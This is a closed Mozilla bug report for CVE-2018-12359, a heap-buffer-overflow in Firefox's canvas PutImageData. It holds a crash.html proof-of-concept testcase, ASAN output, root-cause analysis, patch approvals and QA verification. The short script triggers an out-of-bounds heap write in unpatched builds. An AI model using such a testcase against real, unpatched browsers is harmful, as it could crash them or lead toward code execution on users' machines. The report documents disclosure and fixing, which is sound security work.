Closed Bug 1459162 (CVE-2018-12359) Opened 2 years ago Closed 2 years ago

heap-buffer-overflow in mozilla::dom::CanvasRenderingContext2D::PutImageData

Categories

(Core :: Canvas: 2D, defect)

61 Branch
defect
Not set
normal

Tracking

()

VERIFIED FIXED
mozilla62
Tracking Status
firefox-esr52 61+ verified
firefox-esr60 61+ verified
firefox60 --- wontfix
firefox61 + verified
firefox62 + verified

People

(Reporter: nils, Assigned: jfkthame)

References

Details

(Keywords: csectype-bounds, regression, sec-critical, Whiteboard: [adv-main61+][adv-esr52.9+][adv-esr60.1+][post-critsmash-triage])

Attachments

(4 files)

The following testcase crashes the latest ASAN build of Firefox 61.0a1 (SourceStamp=8994f35fe5fc89f4e8f4e09579a6962f8a4a3e65).

crash.html:
<script>
function start() {
	o24=document.createElement('marquee');
	document.documentElement.addEventListener('DOMAttrModified',fun0);
	o44=document.createElement('canvas');
	document.documentElement.appendChild(o44);
	document.documentElement.appendChild(o24);
	o169=o44.getContext('2d');
	o210.putImageData(o243,32,29,33,256,16,-40960);
}
function fun0() {
	o210=o44.getContext('2d');
	o243=o210.createImageData(128,-786428);
	o44.setAttribute('height','48');
	o210.resetTransform();
}
</script>
<body onload="start()"></body>

ASAN output:
=================================================================
==4657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63000007e604 at pc 0x7f744181a584 bp 0x7ffe9a7306a0 sp 0x7ffe9a730698
WRITE of size 16 at 0x63000007e604 thread T0 (file:// Content)
    #0 0x7f744181a583 in void mozilla::gfx::Premultiply_SSE2<true, false>(unsigned char const*, int, unsigned char*, int, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>) /builds/worker/workspace/build/src/gfx/2d/SwizzleSSE2.cpp:110:7
    #1 0x7f744195eb0a in mozilla::gfx::PremultiplyData(unsigned char const*, int, mozilla::gfx::SurfaceFormat, unsigned char*, int, mozilla::gfx::SurfaceFormat, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&) /builds/worker/workspace/build/src/gfx/2d/Swizzle.cpp
    #2 0x7f7444eef273 in mozilla::dom::CanvasRenderingContext2D::PutImageData_explicit(int, int, unsigned int, unsigned int, mozilla::dom::TypedArray<unsigned char, &js::UnwrapUint8ClampedArray, &(JS_GetUint8ClampedArrayData(JSObject*, bool*, JS::AutoRequireNoGC const&)), &js::GetUint8ClampedArrayLengthAndData, &(JS_NewUint8ClampedArray(JSContext*, unsigned int))>*, bool, int, int, int, int) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:5796:3
    #3 0x7f7444eeff18 in mozilla::dom::CanvasRenderingContext2D::PutImageData(mozilla::dom::ImageData&, double, double, double, double, double, double, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:5672:12
    #4 0x7f7443c0956a in mozilla::dom::CanvasRenderingContext2DBinding::putImageData(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CanvasRenderingContext2D*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CanvasRenderingContext2DBinding.cpp:4124:13
    #5 0x7f7444dc8ab1 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3260:13
    #6 0x7f744b688d67 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
    #7 0x7f744b688d67 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467
    #8 0x7f744b67342f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12
    #9 0x7f744b67342f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
    #10 0x7f744b659ad3 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12
    #11 0x7f744b688ae5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15
    #12 0x7f744b689d62 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10
    #13 0x7f744c1b995a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2989:12
    #14 0x7f744454f3ae in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:264:37
    #15 0x7f744553383a in Call<nsISupports *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
    #16 0x7f744553383a in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214
    #17 0x7f74454fa59d in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121:52
    #18 0x7f74454fbcab in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1288:20
    #19 0x7f74454e6307 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16
    #20 0x7f74454ea133 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:934:9
    #21 0x7f74477d3b38 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1066:7
    #22 0x7f744a92cbc2 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7236:21
    #23 0x7f744a928fe9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7029:7
    #24 0x7f744a9307ef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #25 0x7f74415a0857 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1315:3
    #26 0x7f744159f8da in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:858:14
    #27 0x7f744159c4b5 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:747:9
    #28 0x7f744159e47c in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:632:5
    #29 0x7f744159f49c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
    #30 0x7f743f90ee0a in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28
    #31 0x7f744298163a in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8422:18
    #32 0x7f744298163a in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8344
    #33 0x7f7442962384 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5328:3
    #34 0x7f7442a748d4 in applyImpl<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1165:12
    #35 0x7f7442a748d4 in apply<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1171
    #36 0x7f7442a748d4 in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1216
    #37 0x7f743f707161 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
    #38 0x7f743f725f59 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1090:14
    #39 0x7f743f741990 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
    #40 0x7f74406208ba in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #41 0x7f74405743b9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #42 0x7f74405743b9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #43 0x7f74405743b9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #44 0x7f744712c8ca in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27
    #45 0x7f744b39fd0b in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22
    #46 0x7f74405743b9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #47 0x7f74405743b9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #48 0x7f74405743b9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #49 0x7f744b39f6d0 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34
    #50 0x4f50dc in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30
    #51 0x4f50dc in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280
    #52 0x7f745f37482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #53 0x42476c in _start (/fuzzer3/firefox/firefox+0x42476c)

0x63000007e604 is located 260 bytes to the right of 57600-byte region [0x630000070400,0x63000007e500)
allocated by thread T0 (file:// Content) here:
    #0 0x4c569a in calloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97:3
    #1 0x7f744a1d837a in sk_calloc_canfail /builds/worker/workspace/build/src/gfx/skia/skia/include/private/SkMalloc.h:74:12
    #2 0x7f744a1d837a in MakeUsing /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkMallocPixelRef.cpp:76
    #3 0x7f744a1d837a in SkMallocPixelRef::MakeZeroed(SkImageInfo const&, unsigned long) /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkMallocPixelRef.cpp:91
    #4 0x7f7449db4262 in SkSurface::MakeRaster(SkImageInfo const&, unsigned long, SkSurfaceProps const*) /builds/worker/workspace/build/src/gfx/skia/skia/src/image/SkSurface_Raster.cpp:216:28
    #5 0x7f74417a9b4f in mozilla::gfx::DrawTargetSkia::Init(mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat) /builds/worker/workspace/build/src/gfx/2d/DrawTargetSkia.cpp:1918:14
    #6 0x7f74417b6ceb in mozilla::gfx::Factory::CreateDrawTarget(mozilla::gfx::BackendType, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat) /builds/worker/workspace/build/src/gfx/2d/Factory.cpp:403:22
    #7 0x7f7441b3fa7c in mozilla::layers::PersistentBufferProviderBasic::Create(mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>, mozilla::gfx::SurfaceFormat, mozilla::gfx::BackendType) /builds/worker/workspace/build/src/gfx/layers/PersistentBufferProvider.cpp:83:55
    #8 0x7f7441bc76d3 in mozilla::layers::LayerManager::CreatePersistentBufferProvider(mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat) /builds/worker/workspace/build/src/gfx/layers/Layers.cpp:146:5
    #9 0x7f7444eb952d in mozilla::dom::CanvasRenderingContext2D::TrySharedTarget(RefPtr<mozilla::gfx::DrawTarget>&, RefPtr<mozilla::layers::PersistentBufferProvider>&) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:1877:32
    #10 0x7f7444eb5748 in mozilla::dom::CanvasRenderingContext2D::EnsureTarget(mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const*, mozilla::dom::CanvasRenderingContext2D::RenderingMode) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:1686:8
    #11 0x7f7444ebf3a1 in TransformWillUpdate /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:3660:3
    #12 0x7f7444ebf3a1 in SetTransform /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:2254
    #13 0x7f7444ebf3a1 in mozilla::dom::CanvasRenderingContext2D::ResetTransform(mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:2285
    #14 0x7f7443c20818 in mozilla::dom::CanvasRenderingContext2DBinding::resetTransform(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CanvasRenderingContext2D*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CanvasRenderingContext2DBinding.cpp:6438:9
    #15 0x7f7444dc8ab1 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3260:13
    #16 0x7f744b688d67 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
    #17 0x7f744b688d67 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467
    #18 0x7f744b67342f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12
    #19 0x7f744b67342f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
    #20 0x7f744b659ad3 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12
    #21 0x7f744b688ae5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15
    #22 0x7f744b689d62 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10
    #23 0x7f744c1b995a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2989:12
    #24 0x7f74445545f5 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8
    #25 0x7f74454fa54e in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
    #26 0x7f74454fa54e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1118
    #27 0x7f74454fbcab in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1288:20
    #28 0x7f74454e6607 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:560:14
    #29 0x7f74454ea133 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:934:9
    #30 0x7f74454ec38b in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
    #31 0x7f7442a2f4f8 in nsINode::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1079:5
    #32 0x7f744550a6f3 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:204:13
    #33 0x7f7445480b3c in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:68:12
    #34 0x7f7442580d5f in nsContentUtils::RemoveScriptBlocker() /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5635:15
    #35 0x7f744295e987 in nsDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5103:3
    #36 0x7f74458dfc2c in nsHTMLDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:2120:15

SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/build/src/gfx/2d/SwizzleSSE2.cpp:110:7 in void mozilla::gfx::Premultiply_SSE2<true, false>(unsigned char const*, int, unsigned char*, int, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>)
Shadow bytes around the buggy address:
  0x0c6080007c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c6080007c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c6080007c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c6080007ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6080007cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c6080007cc0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6080007cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6080007ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6080007cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6080007d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6080007d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4657==ABORTING
Attached file ASAN output
Group: core-security → gfx-core-security
Flags: sec-bounty?
INFO: Last good revision: 00d16f03506b7f9f754b01a0a458c05445ac6dba (2017-02-13)
INFO: First bad revision: 195049fabb7ac5709e5f75614ba630ba3d1b5a9b (2017-02-14)
INFO: Pushlog:
https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=00d16f03506b7f9f754b01a0a458c05445ac6dba&tochange=195049fabb7ac5709e5f75614ba630ba3d1b5a9b
Blocks: 738343
Has Regression Range: --- → yes
Flags: needinfo?(lsalzman)
Flags: in-testsuite?
Preliminary investigation shows this is actually caused by bug 1090168.

The initial call to CanvasRenderingContext2D::SetDimensions(..., 150) calls ClearTarget(), and after that returns, it modifies mWidth/mHeight based on the arguments to SetDimensions().

However, within ClearTarget(), nsComputedDOMStyle::GetComputedStyle() style is called, which triggers the "fun0" callback therein, which triggers its own nested SetDimensions(..., 48) call. So by the time that returns, we now have the canvas draw target with a height of 48, but this is where we then proceed to overwrite mHeight = 150, which does not correspond to the draw target.

So it would seem the best fix here is to either get rid of this nesting or ensure the height is set before the nesting occurs. Jonathan?
Blocks: 1090168
Flags: needinfo?(lsalzman) → needinfo?(jfkthame)
Confirmed the testcase crashes (fairly reliably) even in a non-ASAN build. This appears to prevent the crashes, AFAICT.
Attachment #8974642 - Flags: review?(lsalzman)
Can we get a sec rating for this bug?
I'd suggest this could be sec-critical. Given that it involves writing to somewhere significantly outside an allocated heap buffer, I'd assume a sufficiently smart/determined/lucky attacker could probably use it to get arbitrary code execution (though I don't personally have much idea how to get there from here; depending how allocation works, etc., it might be hard to get reliable control over exactly what is corrupted...).
Flags: needinfo?(jfkthame)
Keywords: sec-critical
Attachment #8974642 - Flags: review?(lsalzman) → review+
Comment on attachment 8974642 [details] [diff] [review]
Update dimensions early in ClearTarget

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
It's clear from the patch that this is related to modifying <canvas> size. Probably not difficult to figure out how to use that to trigger an out-of-bounds write and crash. Unclear to me how easily that could be turned into a full exploit, but I expect it's possible.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The comment about GetComputedStyle in CanvasRenderingContext2D::ClearTarget arguably provides a hint; I can remove that before landing.

Which older supported branches are affected by this flaw?
All

If not all supported branches, which bug introduced the flaw?
Looks like this dates back to bug 1090168 (mozilla-36).

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Backport is trivial, minimal risk.

How likely is this patch to cause regressions; how much testing does it need?
Seems unlikely; minor change to how dynamic changes to <canvas> dimensions are handled, to avoid leaving the context in an inconsistent state.
Attachment #8974642 - Flags: sec-approval?
Attachment #8974642 - Flags: approval-mozilla-esr60?
Attachment #8974642 - Flags: approval-mozilla-esr52?
Attachment #8974642 - Flags: approval-mozilla-beta?
Comment on attachment 8974642 [details] [diff] [review]
Update dimensions early in ClearTarget

FYI, this patch applies cleanly to Beta and ESR60, but will require a rebased patch for ESR52.
Flags: needinfo?(jfkthame)
Attachment #8974642 - Flags: approval-mozilla-esr52?
Patch rebased for ESR-52.
Flags: needinfo?(jfkthame)
Attachment #8974907 - Flags: approval-mozilla-esr52?
Duplicate of this bug: 1460616
Comment on attachment 8974642 [details] [diff] [review]
Update dimensions early in ClearTarget

Approvals given. Can we get a nomination or patch for ESR52?
Attachment #8974642 - Flags: sec-approval?
Attachment #8974642 - Flags: sec-approval+
Attachment #8974642 - Flags: approval-mozilla-esr60?
Attachment #8974642 - Flags: approval-mozilla-esr60+
Attachment #8974642 - Flags: approval-mozilla-beta?
Attachment #8974642 - Flags: approval-mozilla-beta+
(In reply to Al Billings [:abillings] from comment #11)
> Approvals given. Can we get a nomination or patch for ESR52?

A patch for esr52 is already attached (see comment 9).
https://hg.mozilla.org/mozilla-central/rev/be0debd3af29
Group: gfx-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla62
Attachment #8974907 - Flags: approval-mozilla-esr52? → approval-mozilla-esr52+
Flags: sec-bounty? → sec-bounty+
Keywords: csectype-bounds
Whiteboard: [adv-main61+][adv-esr52.9+][adv-esr60.1+]
Flags: qe-verify+
Whiteboard: [adv-main61+][adv-esr52.9+][adv-esr60.1+] → [adv-main61+][adv-esr52.9+][adv-esr60.1+][post-critsmash-triage]
Alias: CVE-2018-12359
I verified this issue on Ubuntu 16.04 using the ASAN build without the fix, https://tools.taskcluster.net/index/gecko.v2.mozilla-central.pushdate.2018.05.04.20180504083453.firefox/linux64-asan-opt, and I was able to reproduce the issue, as expected.
I also verified on the same Ubuntu using the ASAN build with the fix, https://tools.taskcluster.net/index/gecko.v2.mozilla-central.latest.firefox/linux64-asan-opt, and the issue is no longer reproducible. 
Also, this issue was verified on Ubuntu 16.04, Mac OS X 10.12 and Windows 10 using the following builds: 
Nightly  62.0a1()2018-06-21) OK 
Beta 62.0b1  OK
ESR52.9  OK
ESR60.1   OK
We couldn't reproduce the initial issue. 
Based on the above information I will mark this as verified.
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.